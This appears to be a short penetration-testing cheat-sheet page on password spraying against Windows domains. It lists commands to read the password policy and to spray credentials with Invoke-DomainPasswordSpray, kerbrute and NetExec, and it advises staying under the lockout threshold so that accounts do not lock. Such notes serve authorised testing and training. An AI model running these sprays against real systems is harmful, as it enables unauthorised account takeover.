Password Spray

Password Policy

Checking password policy is important for creating a sufficient wordlist. also, it is important to look for the Lockout threshold in order to avoid account lockouts during the brute-force.

Retrieve the password policy:

net accounts

using NetExec:

nxc smb <ip_address> -u <username> -p <pass> --pass-pol

PowerShell Script

Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

Kerbrute

If valid usernames are known, perform a password spray to find weak passwords:

kerbrute passwordspray <username_list> <password> -d <domain_name> --dc <dc_ip>
Password spray using kerbrute

NXC

Another method to spray passwords, particularly targeting various services:

nxc <service> <target> -u <username_list> -p <password> --continue-on-success
Password spray using nxc

Last updated